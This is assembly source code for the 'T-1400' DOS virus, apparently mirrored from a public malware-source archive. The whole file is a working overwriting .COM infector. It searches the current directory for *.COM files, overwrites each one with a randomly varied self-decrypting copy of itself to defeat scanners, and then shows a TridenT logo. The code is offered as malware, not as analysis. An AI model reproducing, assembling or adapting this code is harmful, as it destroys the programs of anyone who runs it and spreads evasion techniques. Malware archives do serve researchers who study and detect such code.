mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-30 15:05:27 +00:00
144 lines
4.0 KiB
NASM
144 lines
4.0 KiB
NASM
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; T-1400 Virus
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;
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; This is a non-resident overwriting self-encrypting semi-mutating .COM file
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; infector. When an infected program is run, the virus will infect all the
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; file in the current directory and displays a TridenT logo when finished with
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; infecting. This is a bit more advanced virus than "T-1300" and a wildcard
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; scanstring is needed to find this virus. It now utilizes three types of
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; encryption, instead of only the XOR loop. it now utilizes ADD, ADC, SUB and
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; SBB. the increment SI has now a new
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; possibility, CMPSB.
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;
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Beg:
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Mov Cx,MainLen
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Length Equ $-2
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S_1: Lea Si,Main
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Zaken: Clc
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Decrypt: Xor B [Si],0
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CryptByte Equ $-1
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S_2 Equ $-2
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S_3: Inc Si
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S_4: Loop Zaken
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CryptLen Equ $-Beg
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Main: Mov Ah,4eh
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SeekNext: Lea Dx,FileSpec
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Xor Cx,Cx
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Int 21h
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Jnc Yup
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Jmp Einde
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Yup: Mov Ax,3d02h
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Mov Dx,09eh
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Int 21h
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Xchg Ax,Bx
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Mov Ds,Cx
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Inc Cx
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Mov Ax,W Ds:[46ch]
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Mov Ds,Cs
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Mov B CryptByte,Ah
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Mov B Zaken,0f8h
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Mov B What,1
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Mov B S_2,34h
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Test Al,1
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Jne NotXor
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Test Al,32
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Jne Done
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Xor B Zaken,1
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Jmp Done
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NotXor: Mov B What,2
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Mov B S_2,04h
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Test Al,2
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Je Done
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Test Al,4
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Je ItsAdc
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Mov B What,3
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Mov B S_2,2ch
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Test Al,8
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Je Done
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Sub B S_2,20h
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ItsAdc: Add B S_2,10h
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Done: Mov B S_1,0beh
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Cmp Ah,80h
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Ja NoCMPSB
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Mov B S_3,0A6h
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Jmp Next
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NoCMPSB: Mov B S_3,46h
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Next: Test Ah,1
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Jne NoReg
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Xor B S_1,Cl
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Xor B S_2,Cl
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Cmp Ah,80h
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Jbe NoReg
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Xor B S_3,Cl
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NoReg: Test Ah,2
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Jne NoXor
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Xor B Decrypt,2
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NoXor: Test Ah,4
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Jne NoLoop
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Xor B S_4,2
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NoLoop: Test Ah,8
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Jne Ok
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Mov B S_4,0E2h
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Ok: Lea Si,Main
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Lea Di,CryptPart
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Mov Cx,MainLen
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Push Cx
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CodeIt: Lodsb
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Cmp B What,1
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Jne NeXor
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Xor Al,Ah
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Jmp Stor
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NeXor: Cmp B What,2
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Jne NeSub
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Sub Al,Ah
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Jmp Stor
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NeSub: Add Al,Ah
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Stor: Stosb
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Loop CodeIt
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Pop Cx
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And Ax,03fffh
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Add Cx,Ax
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Mov W Length,Cx
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Mov Ah,40h
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Lea Dx,Beg
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Mov Cx,CryptLen
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Int 21h
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Mov Ah,40h
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Lea Dx,CryptPart
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Mov Cx,MainLen
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Int 21h
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Mov Ah,3eh
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Int 21h
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Mov Ah,4fh
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Jmp SeekNext
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What Db 0
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Einde:
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Mov Al,3
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Int 10h
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Lea Si,Y
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R: Lodsb
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Mov Cl,8
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C: Rol Al,1
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Push Ax
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Mov Al,32
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If C Mov Al,219
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Int 29h
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Int 29h
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Pop Ax
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Loop C
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Cmp Si,E
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Jne R
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Ret
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Y: db 125,231,121,244,95,17,18,69,6,68,17,226,69,197,68,17,18,69,4,196,17,23,121,244,68
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E:
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FileSpec Db '*.COM',0
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Msg Db 'T-1400'
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MainLen Equ $-Main
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CryptPart Equ $
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